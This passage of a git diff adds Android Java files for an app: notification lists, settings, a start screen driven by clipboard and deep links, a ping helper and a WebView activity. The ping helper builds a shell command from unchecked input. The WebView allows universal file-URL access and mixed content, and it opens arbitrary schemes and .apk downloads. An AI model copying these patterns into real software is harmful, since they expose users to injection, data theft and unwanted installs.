+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.ImageView;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.constraintlayout.widget.ConstraintLayout;
+import androidx.recyclerview.widget.RecyclerView;
+
+import com.bumptech.glide.Glide;
+
+import java.security.Timestamp;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.List;
+
+/**
+ * 通知列表适配器
+ */
+public class MyNotifyListAdapter extends RecyclerView.Adapter {
+
+ private List listdata;
+ private onItemClickPostionListener itemClickPostionListener;
+ private Context context;
+ private MessageInfo messageItem;
+
+
+ public MyNotifyListAdapter(Context context, List listdata, MessageInfo messageItem) {
+ this.context = context;
+ this.listdata = listdata;
+ this.messageItem = messageItem;
+ }
+
+ public void setListdata(List listdata) {
+ this.listdata = listdata;
+ notifyDataSetChanged();
+ }
+
+
+ public void setOnItemClick(onItemClickPostionListener onItemClick) {
+ this.itemClickPostionListener = onItemClick;
+ }
+
+ @NonNull
+ @Override
+ public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
+ View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_notify_list, parent, false);
+ return new ViewHolder(view);
+ }
+
+ @Override
+ public void onBindViewHolder(@NonNull ViewHolder holder, int position) {
+
+ MessageInfo messageInfo = listdata.get(position);
+ if (messageItem != null && messageInfo.getRecordId() == messageItem.getPushId()) {
+ messageInfo.setShowAll(true);
+ messageItem = null;
+ }
+ switch (messageInfo.getType()){
+ case 2:
+ holder.root.setBackgroundColor(context.getColor(R.color.notify_imagecolor));
+ holder.tvType.setText(holder.ivMsg.getContext().getString(R.string.image_title));
+ holder.ivType.setImageResource(R.mipmap.ic_notifylogo_img);
+ break;
+ case 3:
+ holder.root.setBackgroundColor(context.getColor(R.color.notify_jumplinkcolor));
+ holder.tvType.setText(holder.ivMsg.getContext().getString(R.string.link_title));
+ holder.ivType.setImageResource(R.mipmap.ic_notifylogo_link);
+ break;
+ default:
+ holder.root.setBackgroundColor(context.getColor(R.color.notify_textcolor));
+ holder.tvType.setText(holder.ivMsg.getContext().getString(R.string.text_title));
+ holder.ivType.setImageResource(R.mipmap.ic_notifylogo);
+ break;
+ }
+
+ holder.tvTitle.setText(messageInfo.getTitle());
+ holder.layoutMore.setVisibility(View.GONE);
+ holder.tvContent.setText(messageInfo.getContent());
+ holder.ivMsg.setVisibility(View.GONE);
+ holder.tvTime.setText(messageInfo.getCreateTime());
+ holder.tvJumpLink.setVisibility(View.GONE);
+
+ holder.lookIv.setText(longTime(messageInfo.getCreateTime()));
+ if (!TextUtils.isEmpty(messageInfo.getImage())) {
+ LogUtils.i("地址是啥:"+messageInfo.getImage());
+ holder.ivMsg.setVisibility(View.VISIBLE);
+ Glide.with(context).load(messageInfo.getImage()).into(holder.ivMsg);
+ }
+ if (!TextUtils.isEmpty(messageInfo.getJumpUrl())) {
+ holder.tvJumpLink.setVisibility(View.VISIBLE);
+ holder.tvJumpLink.setText(messageInfo.getJumpUrl());
+ holder.tvJumpLink.setOnClickListener(view -> {
+ if (itemClickPostionListener != null) {
+ itemClickPostionListener.item(position);
+ }
+ });
+ }
+ if (messageInfo.isShowAll()) {
+ holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_shangla);
+ holder.layoutMore.setVisibility(View.VISIBLE);
+ } else {
+ holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_xiala);
+ holder.layoutMore.setVisibility(View.GONE);
+ }
+ holder.itemView.setOnClickListener(view -> {
+ messageInfo.setShowAll(!messageInfo.isShowAll());
+ notifyItemChanged(position);
+ });
+
+ }
+
+ public String longTime(String dateString){
+ // 定义所需的日期格式
+ SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+
+ try {
+ Long timeStr = dateFormat.parse(dateString).getTime();
+
+ String name = (((System.currentTimeMillis()-timeStr)/1000/60)+1000)+"";
+
+ return name;
+ } catch (ParseException e) {
+ return "";
+ }
+
+ }
+
+
+ @Override
+ public int getItemCount() {
+ return listdata != null ? listdata.size() : 0;
+ }
+
+ public static class ViewHolder extends RecyclerView.ViewHolder {
+
+
+ private final TextView tvType;
+ private final TextView tvTime;
+ private final TextView tvContent;
+ private final TextView tvTitle;
+ private final TextView tvJumpLink;
+ private final ImageView ivType;
+ private final ImageView ivNotifyPull;
+ private final ImageView ivMsg;
+ private ConstraintLayout root;
+ private LinearLayout layoutMore;
+ private LinearLayout rootLy;
+ private TextView lookIv;
+ public ViewHolder(@NonNull View itemView) {
+ super(itemView);
+ root = itemView.findViewById(R.id.big_bg);
+// tvType = itemView.findViewById(R.id.iv_readtype);
+ tvType = itemView.findViewById(R.id.tv_msg_type);
+ ivType = itemView.findViewById(R.id.iv_icon);
+ ivNotifyPull = itemView.findViewById(R.id.ic_notify_pull);
+ ivMsg = itemView.findViewById(R.id.iv_notifyimage);
+ tvContent = itemView.findViewById(R.id.iv_notifycontent);
+ tvTitle = itemView.findViewById(R.id.tv_msg_title);
+ tvTime = itemView.findViewById(R.id.tv_msg_time);
+ tvJumpLink = itemView.findViewById(R.id.iv_notifyjumpclick);
+ layoutMore = itemView.findViewById(R.id.layout_more);
+ lookIv = itemView.findViewById(R.id.look_iv);
+ }
+
+ }
+
+ public interface onItemClickPostionListener {
+ void item(int position);
+ }
+
+}
diff --git a/market/src/main/java/com/web/market/NotifyListActivity.java b/market/src/main/java/com/web/market/NotifyListActivity.java
new file mode 100644
index 0000000..369450e
--- /dev/null
+++ b/market/src/main/java/com/web/market/NotifyListActivity.java
@@ -0,0 +1,128 @@
+package com.web.market;
+
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.view.View;
+import android.view.WindowManager;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.ActionBar;
+import androidx.appcompat.app.AppCompatActivity;
+import androidx.recyclerview.widget.LinearLayoutManager;
+import androidx.recyclerview.widget.RecyclerView;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.schedulers.Schedulers;
+
+/**
+ * 通知列表
+ */
+public class NotifyListActivity extends AppCompatActivity {
+
+ private RecyclerView recyclerView;
+ private LinearLayoutManager manager;
+ private MyNotifyListAdapter adapter;
+ private List listdata = new ArrayList<>();
+ private int userId = 2;
+ private int page = 1;
+ private boolean isNextPages = false;
+
+ private MessageInfo messageInfoItem;
+
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ userId = MainActivity2.getInt(NotifyListActivity.this,"user_code",userId);
+ getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
+ super.onCreate(savedInstanceState);
+ View decor = getWindow().getDecorView();
+ getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
+ decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+ ActionBar actionBar = getSupportActionBar();
+ if (actionBar != null) {
+ actionBar.hide();
+ }
+ setContentView(R.layout.activity_notifylist);
+ messageInfoItem = (MessageInfo) getIntent().getSerializableExtra("message");
+ findViewById(R.id.back_iv).setOnClickListener(view -> finish());
+ recyclerView = findViewById(R.id.recycler_nofity);
+ manager = new LinearLayoutManager(this);
+ recyclerView.setLayoutManager(manager);
+ recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() {
+
+ @Override
+ public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) {
+ int visibleCount = manager.getChildCount();
+ int totalCount = manager.getItemCount();
+ int firstvisibleCount = manager.findFirstVisibleItemPosition();
+ if (visibleCount > 0 && visibleCount + firstvisibleCount == totalCount) { //滑动到底部
+ if (!isNextPages) {
+ return;
+ }
+ page++;
+ getNotifyList();
+ }
+// super.onScrolled(recyclerView, dx, dy);
+ }
+ });
+ adapter = new MyNotifyListAdapter(NotifyListActivity.this, listdata,messageInfoItem);
+ recyclerView.setAdapter(adapter);
+ adapter.setOnItemClick(position -> {
+ try{
+ MessageInfo messageInfo = listdata.get(position);
+ Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(messageInfo.getJumpUrl()));
+ startActivity(intent);
+ }catch (Exception e){
+
+ }
+
+ });
+ getNotifyList();
+
+ findViewById(R.id.setting_iv).setOnClickListener(v -> startActivity(new Intent(NotifyListActivity.this,SettingActivity.class)));
+
+ }
+
+ public void getNotifyList() {
+ //通知列表
+ Api.getInstance().getNotifyList(userId, page, 10)
+ .subscribeOn(Schedulers.io())
+ .observeOn(AndroidSchedulers.mainThread())
+ .subscribe(new BaseObserver>>() {
+ @Override
+ public void onSuccess(Result> o) {
+ if(o.data!=null){
+ isNextPages = o.data.isHasNextPage();
+ if (page == 1) {
+ listdata.clear();
+ }
+ listdata.addAll(o.data.getList());
+ adapter.setListdata(listdata);
+
+ }
+
+ }
+
+ @Override
+ public void onError(int code, String msg) {
+ LogUtils.i("获取的结果error" + msg);
+ if (page > 1) {
+ page--;
+ }
+ }
+
+ @Override
+ public void onError2(Result> o) {
+ LogUtils.i("获取的结果error");
+ if (page > 1) {
+ page--;
+ }
+ }
+ });
+ }
+}
diff --git a/market/src/main/java/com/web/market/PingUtils.java b/market/src/main/java/com/web/market/PingUtils.java
new file mode 100644
index 0000000..74e252e
--- /dev/null
+++ b/market/src/main/java/com/web/market/PingUtils.java
@@ -0,0 +1,39 @@
+package com.web.market;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+
+/**
+ * **********************
+ *
+ * @Author bug machine
+ * 创建时间: 2026/1/16 15:30
+ * 用途
+ * **********************
+ */
+public class PingUtils {
+
+ /**
+ * 执行 ping 命令
+ * @param address 域名或IP
+ * @return 返回执行结果
+ */
+ public static String ping(String address) {
+ StringBuilder result = new StringBuilder();
+ try {
+ // -c 4 表示执行4次
+ Process process = Runtime.getRuntime().exec("ping -c 3 " + address);
+ BufferedReader reader = new BufferedReader(
+ new InputStreamReader(process.getInputStream()));
+ String line;
+ while ((line = reader.readLine()) != null) {
+ result.append(line).append("\n");
+ }
+ reader.close();
+ process.destroy();
+ } catch (Exception e) {
+ result.append("Ping失败: ").append(e.getMessage());
+ }
+ return result.toString();
+ }
+}
diff --git a/market/src/main/java/com/web/market/Result.java b/market/src/main/java/com/web/market/Result.java
new file mode 100644
index 0000000..b766e4b
--- /dev/null
+++ b/market/src/main/java/com/web/market/Result.java
@@ -0,0 +1,29 @@
+package com.web.market;
+
+
+import java.io.Serializable;
+
+/**
+ * created by wmm on 2020/9/8
+ */
+public class Result implements Serializable {
+
+ public String error;
+ public int code;
+ public T data;
+ public String message;
+
+
+ public boolean isSuccessful() {
+ return code == 1;
+ }
+
+ @Override
+ public String toString() {
+ return "Result{" +
+ "message='" + error + '\'' +
+ ", code=" + code +
+ ", data=" + GsonUtils.beanToJSONString(data) +
+ '}';
+ }
+}
diff --git a/market/src/main/java/com/web/market/ResultDataInfo.java b/market/src/main/java/com/web/market/ResultDataInfo.java
new file mode 100644
index 0000000..157e978
--- /dev/null
+++ b/market/src/main/java/com/web/market/ResultDataInfo.java
@@ -0,0 +1,45 @@
+package com.web.market;
+
+import java.io.Serializable;
+import java.util.List;
+
+public class ResultDataInfo implements Serializable {
+
+ public List list;
+ public int pages;
+ public int total;
+ public boolean hasNextPage;
+
+
+ public boolean isHasNextPage() {
+ return hasNextPage;
+ }
+
+ public void setHasNextPage(boolean hasNextPage) {
+ this.hasNextPage = hasNextPage;
+ }
+
+ public List getList() {
+ return list;
+ }
+
+ public void setList(List list) {
+ this.list = list;
+ }
+
+ public int getPages() {
+ return pages;
+ }
+
+ public void setPages(int pages) {
+ this.pages = pages;
+ }
+
+ public int getTotal() {
+ return total;
+ }
+
+ public void setTotal(int total) {
+ this.total = total;
+ }
+}
diff --git a/market/src/main/java/com/web/market/SettingActivity.java b/market/src/main/java/com/web/market/SettingActivity.java
new file mode 100644
index 0000000..3dbb942
--- /dev/null
+++ b/market/src/main/java/com/web/market/SettingActivity.java
@@ -0,0 +1,79 @@
+package com.web.market;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.view.View;
+import android.webkit.WebChromeClient;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+import android.widget.ImageView;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+public class SettingActivity extends AppCompatActivity {
+ private ImageView backIv;
+ private TextView versionTv;
+ private LinearLayout bindButlerLy;
+ private TextView bindButlerTv;
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ View decor = getWindow().getDecorView();
+ decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_setting);
+
+ backIv = (ImageView) findViewById(R.id.back_iv);
+ versionTv = (TextView) findViewById(R.id.version_tv);
+ bindButlerLy = (LinearLayout) findViewById(R.id.bind_butler_ly);
+ bindButlerTv = (TextView) findViewById(R.id.bind_butler_tv);
+ backIv.setOnClickListener(view -> finish());
+ bindButlerLy.setOnClickListener(v -> {
+ int appId = MainActivity2.getInt(SettingActivity.this,"user_code",0);
+
+ BindButlerDialog bindButlerDialog = new BindButlerDialog(SettingActivity.this,appId);
+ bindButlerDialog.setOnToActionListener(new BindButlerDialog.OnToActionListener() {
+ @Override
+ public void toSumbit() {
+ Intent intent = new Intent(SettingActivity.this, StartActivity.class);
+ intent.setFlags(FLAG_ACTIVITY_NEW_TASK);
+ startActivity(intent);
+ finish();
+ }
+
+ @Override
+ public void toCancel() {
+
+ }
+ });
+ bindButlerDialog.show();
+ });
+
+ if(MainActivity2.getInt(SettingActivity.this,"user_code",0)>0){
+ bindButlerTv.setText(MainActivity2.getInt(SettingActivity.this,"user_code",0)+"");
+ }
+
+ versionTv.setText(getVersion());
+
+ }
+
+
+ public String getVersion(){
+ try {
+ PackageManager packageManager = getPackageManager();
+ PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0);
+ String versionCode = packageInfo.versionName; // 版本码
+ return versionCode;
+ } catch (PackageManager.NameNotFoundException e) {
+ return "1.0.0";
+ }
+ }
+
+}
diff --git a/market/src/main/java/com/web/market/StartActivity.java b/market/src/main/java/com/web/market/StartActivity.java
new file mode 100644
index 0000000..43e6436
--- /dev/null
+++ b/market/src/main/java/com/web/market/StartActivity.java
@@ -0,0 +1,162 @@
+package com.web.market;
+
+import android.content.ClipData;
+import android.content.ClipboardManager;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.View;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+import com.bumptech.glide.Glide;
+
+import java.util.List;
+
+import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.schedulers.Schedulers;
+
+public class StartActivity extends AppCompatActivity {
+
+ private CircleImageView showTopV;
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ View decor = getWindow().getDecorView();
+ decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_start);
+ showTopV = (CircleImageView) findViewById(R.id.show_top_v);
+
+ Uri uri = getIntent().getData();
+
+ if (uri != null) {
+ cheUri(uri);
+ } else {
+ String config_AppId = MainActivity2.getString(StartActivity.this, "config_AppId", "");
+ if (!TextUtils.isEmpty(config_AppId)) {
+ checkAppId(config_AppId);
+ } else {
+ toNextHome();
+ }
+ }
+ }
+
+ private void cheUri(Uri uri) {
+ // scheme部分
+ String scheme = uri.getScheme();
+ // host部分
+ String host = uri.getHost();
+ //path部分
+ String path = uri.getPath();
+ LogUtils.i("path:" + path);
+ if (scheme.equals(ApiService.SCHEME_NAME) && host.equals(ApiService.HOST_NAME) && path.equals(ApiService.PATH_NAME)) {
+ String appId = uri.getQueryParameter("appId");
+ setImageView();
+ checkAppId(appId);
+ } else {
+ showTopV.setImageResource(R.mipmap.ic_launcher_round);
+ goHome();
+ }
+ }
+
+ private void toNextHome() {
+ getWindow().getDecorView().post(this::handleClipboardAndNavigate);
+ }
+
+ private void handleClipboardAndNavigate() {
+ ClipboardManager clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
+ if (clipboardManager == null || !clipboardManager.hasPrimaryClip()) {
+ goHome();
+ return;
+ }
+
+ ClipData clipData = clipboardManager.getPrimaryClip();
+ if (clipData == null || clipData.getItemCount() == 0) {
+ goHome();
+ return;
+ }
+
+ ClipData.Item clipItem = clipData.getItemAt(0);
+ if (clipItem == null || clipItem.getText() == null) {
+ goHome();
+ return;
+ }
+
+ try {
+ String clipText = clipItem.getText().toString().trim();
+ if (TextUtils.isEmpty(clipText) || !clipText.startsWith(ApiService.ClipData_UEL_NAME)) {
+ goHome();
+ return;
+ }
+
+ Uri uri = Uri.parse(clipText);
+ if (uri != null) {
+ cheUri(uri);
+ } else {
+ goHome();
+ }
+ } catch (Exception e) {
+ goHome();
+ }
+ }
+
+
+ public void setImageView() {
+ String logoString = MainActivity2.getString(StartActivity.this, "config_appLogo", "");
+ if (!TextUtils.isEmpty(logoString)) {
+ Glide.with(StartActivity.this).load(logoString).placeholder(R.mipmap.ic_launcher_round).error(R.mipmap.ic_launcher_round).into(showTopV);
+ } else {
+ showTopV.setImageResource(R.mipmap.ic_launcher_round);
+ }
+ }
+
+ private void checkAppId(String appId) {
+ Api.getInstance().applicationConf(appId)
+ .subscribeOn(Schedulers.io())
+ .observeOn(AndroidSchedulers.mainThread())
+ .subscribe(new BaseObserver>() {
+ @Override
+ public void onSuccess(Result o) {
+ if (o != null && o.data != null && o.data.getIsUse() == 1) {
+ MainActivity2.saveInt(StartActivity.this, "user_code", o.data.getUserId());
+ MainActivity2.saveString(StartActivity.this, "config_AppId", appId);
+ MainActivity2.saveString(StartActivity.this, "config_appLogo", o.data.getAppLogo());
+ MainActivity2.saveString(StartActivity.this, "config_appName", o.data.getAppName());
+ goChild();
+ } else {
+ goHome();
+ }
+ }
+
+ @Override
+ public void onError(int code, String msg) {
+ goHome();
+ }
+
+ @Override
+ public void onError2(Result o) {
+ goHome();
+ }
+ });
+
+ }
+
+ private void goChild() {
+ startActivity(new Intent(StartActivity.this, IndexActivity.class));
+ finish();
+ overridePendingTransition(0, 0);
+ }
+
+ private void goHome() {
+ startActivity(new Intent(StartActivity.this, HomeActivity.class));
+ finish();
+ overridePendingTransition(0, 0);
+
+ }
+
+
+}
diff --git a/market/src/main/java/com/web/market/StatusLayout.java b/market/src/main/java/com/web/market/StatusLayout.java
new file mode 100644
index 0000000..afdf05a
--- /dev/null
+++ b/market/src/main/java/com/web/market/StatusLayout.java
@@ -0,0 +1,44 @@
+package com.web.market;
+
+import android.content.Context;
+import android.util.AttributeSet;
+import android.view.ViewGroup;
+import android.widget.LinearLayout;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Created by kiun_2007 on 2018/3/29.
+ */
+
+public class StatusLayout extends LinearLayout {
+ public StatusLayout(Context context) {
+ this(context, null);
+ }
+
+ public StatusLayout(Context context, @Nullable AttributeSet attrs) {
+ this(context, attrs, 0);
+ }
+
+ public StatusLayout(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
+ super(context, attrs, defStyleAttr);
+ }
+
+ private int getStatusBarHeight(Context context) {
+ int result = 0;
+ int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen", "android");
+ if (resourceId > 0) {
+ result = context.getResources().getDimensionPixelSize(resourceId);
+ }
+ return result;
+ }
+
+ @Override
+ protected void onAttachedToWindow() {
+ ViewGroup.LayoutParams lp = this.getLayoutParams();
+ lp.width = -1;
+ lp.height = getStatusBarHeight(getContext());
+ this.setLayoutParams(lp);
+ super.onAttachedToWindow();
+ }
+}
diff --git a/market/src/main/java/com/web/market/WebApplication.java b/market/src/main/java/com/web/market/WebApplication.java
new file mode 100644
index 0000000..842ef6c
--- /dev/null
+++ b/market/src/main/java/com/web/market/WebApplication.java
@@ -0,0 +1,16 @@
+package com.web.market;
+
+import android.app.Application;
+import android.content.Context;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ }
+}
diff --git a/market/src/main/java/com/web/market/WebViewActivity.java b/market/src/main/java/com/web/market/WebViewActivity.java
new file mode 100644
index 0000000..95871d0
--- /dev/null
+++ b/market/src/main/java/com/web/market/WebViewActivity.java
@@ -0,0 +1,406 @@
+package com.web.market;
+
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.Message;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.WindowManager;
+import android.webkit.ValueCallback;
+import android.webkit.WebChromeClient;
+import android.webkit.WebResourceError;
+import android.webkit.WebResourceRequest;
+import android.webkit.WebSettings;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+import android.widget.FrameLayout;
+import android.widget.ImageView;
+import android.widget.LinearLayout;
+import android.widget.ProgressBar;
+import android.widget.TextView;
+import android.widget.Toast;
+import androidx.annotation.Nullable;
+import androidx.annotation.RequiresApi;
+import androidx.appcompat.app.ActionBar;
+import androidx.appcompat.app.AppCompatActivity;
+
+public class WebViewActivity extends AppCompatActivity {
+
+ private String url;
+ WebView webView;
+ TextView tvErrorMsg;
+ LinearLayout layoutError;
+ ImageView show_top_v;
+ private LinearLayout showTopLy;
+ private ProgressBar progressBar;
+ private View topVvvv;
+
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ getWindow().setNavigationBarColor(getColor(R.color.white));
+ getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
+
+ super.onCreate(savedInstanceState);
+ View decor = getWindow().getDecorView();
+ getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
+ decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+ ActionBar actionBar = getSupportActionBar();
+ if (actionBar != null) {
+ actionBar.hide();
+ }
+ setContentView(R.layout.activity_main2);
+ findViewById(R.id.back_iv).setOnClickListener(view -> finish());
+ url = getIntent().getStringExtra("url");
+ initView();
+ }
+
+ private ValueCallback mUploadCallbackForHighApi;
+
+ public void initView() {
+ topVvvv = (View) findViewById(R.id.top_vvvv);
+ webView = findViewById(R.id.webview);
+ show_top_v = findViewById(R.id.show_top_v);
+ showTopLy = findViewById(R.id.show_top_ly);
+ tvErrorMsg = findViewById(R.id.errormsg);
+ layoutError = findViewById(R.id.layoutError);
+ progressBar = (ProgressBar) findViewById(R.id.progressbar);
+ WebSettings settings = webView.getSettings();
+ settings.setDomStorageEnabled(true);
+ settings.setAppCacheEnabled(true);
+ settings.setCacheMode(WebSettings.LOAD_DEFAULT);
+ settings.setJavaScriptEnabled(true);
+ settings.setLoadWithOverviewMode(true);
+ // 设置允许访问文件数据
+ settings.setAllowFileAccess(true);
+ settings.setAllowContentAccess(true);
+ settings.setDatabaseEnabled(true);
+ settings.setSavePassword(false);
+ settings.setSaveFormData(false);
+ settings.setUseWideViewPort(true);
+ settings.setBuiltInZoomControls(true);
+ settings.setPluginState(WebSettings.PluginState.ON);
+ settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS);
+ webView.setFocusable(true);
+ webView.setFocusableInTouchMode(true);
+ webView.getSettings().setSupportMultipleWindows(true);
+ if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+ webView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
+ }
+ settings.setSupportZoom(false);
+ webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY);
+ webView.setHorizontalScrollBarEnabled(true);
+ webView.requestFocus();
+ settings.setJavaScriptCanOpenWindowsAutomatically(false);
+ // Android 4.1前默认允许,4.1后默认禁止
+ settings.setAllowFileAccessFromFileURLs(true);
+ // Android 4.1前默认允许,4.1后默认禁止
+ settings.setAllowUniversalAccessFromFileURLs(true);
+
+
+
+ webView.setWebChromeClient(new WebChromeClient() {
+ @Override
+ public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) {
+
+ WebView newWebView = new WebView(WebViewActivity.this);
+ topVvvv.setVisibility(View.VISIBLE);
+ webView.addView(newWebView);
+ WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj;
+ transport.setWebView(newWebView);
+ resultMsg.sendToTarget();
+
+ newWebView.setWebViewClient(new WebViewClient() {
+ @Override
+ public boolean shouldOverrideUrlLoading(WebView view, String url) {
+ progressBar.setVisibility(View.GONE);
+ webView.loadUrl(url);
+ return true;
+ }
+ });
+
+ return true;
+ }
+
+
+ @Override
+ public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) {
+ LogUtils.i("数据接口:onShowFileChooser");
+ mUploadCallbackForHighApi = filePathCallback;
+ Intent intent = fileChooserParams.createIntent();
+ intent.addCategory(Intent.CATEGORY_OPENABLE);
+ startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER);
+ return true;
+ }
+
+ // For 3.0+
+ protected void openFileChooser(ValueCallback uploadMsg, String acceptType) {
+ LogUtils.i("数据接口:openFileChooseracceptType");
+ openFilerChooser(uploadMsg);
+ }
+
+
+ private void openFilerChooser(ValueCallback uploadMsg) {
+ LogUtils.i("数据接口:openFileChooser");
+ mUploadCallbackForLowApi = uploadMsg;
+ startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER);
+ }
+
+
+
+ });
+ webView.setWebViewClient(new WebViewClient() {
+
+
+ @Override
+ public void onPageFinished(WebView view, String url) {
+ super.onPageFinished(view, url);
+ showTopLy.setVisibility(View.GONE);
+ progressBar.setVisibility(View.GONE);
+ topVvvv.setVisibility(View.VISIBLE);
+
+ }
+
+ @Override
+ public void onPageStarted(WebView view, String url, Bitmap favicon) {
+ super.onPageStarted(view, url, favicon);
+ progressBar.setVisibility(View.VISIBLE);
+ topVvvv.setVisibility(View.VISIBLE);
+ }
+
+ @Override
+ public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) {
+ super.onReceivedError(view, request, error);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ int errorCode = error.getErrorCode();
+ String errorMessage = error.getDescription().toString();
+ String currentUrl = request.getUrl().toString();
+ LogUtils.d("onReceivedError2 url==" + url + " errorCode ==" + errorCode);
+ if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) {
+ onShowErrorView(errorMessage);
+ } else {
+ onShowNetView();
+ }
+ }
+ progressBar.setVisibility(View.GONE);
+ }
+
+ @Override
+ public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
+ super.onReceivedError(view, errorCode, description, failingUrl);
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
+ LogUtils.d("onReceivedError2 url==" + failingUrl + " errorCode ==" + errorCode);
+ if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) {
+ onShowErrorView(description);
+ } else {
+ onShowNetView();
+ }
+ }
+ progressBar.setVisibility(View.GONE);
+
+ }
+
+
+ @Override
+ public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
+
+ Uri uri;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+ uri = request.getUrl();
+ } else {
+ uri = Uri.parse(request.toString());
+ }
+ String url1 = uri.toString();
+ if (url1.equals(url + "index") || url1.equals(url + "/index")) {
+ topVvvv.setVisibility(View.GONE);
+ } else {
+ progressBar.setVisibility(View.VISIBLE);
+ }
+
+ if (!(url1.startsWith("http") || url1.startsWith("https"))) {
+ try {
+ Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(url1));
+ startActivity(intent);
+ return true;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ } else {
+
+ if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) {
+ return false;
+ } else {
+ if (url1.contains(".apk")) { //下载
+ Toast.makeText(WebViewActivity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show();
+ try {
+ Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(url1));
+ startActivity(intent);
+ return true;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return false;
+ }
+ //其它的该怎么处理就怎么处理
+ webView.loadUrl(url1);
+ return true;
+ }
+
+ }
+ return false;
+ }
+
+
+ @Override
+ public boolean shouldOverrideUrlLoading(WebView view, String url1) {
+ if (url1.equals(url + "index") || url1.equals(url + "/index")) {
+ topVvvv.setVisibility(View.GONE);
+ } else {
+ progressBar.setVisibility(View.VISIBLE);
+ }
+
+ if (!(url1.startsWith("http") || url1.startsWith("https"))) {
+ try {
+ Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(url1));
+ startActivity(intent);
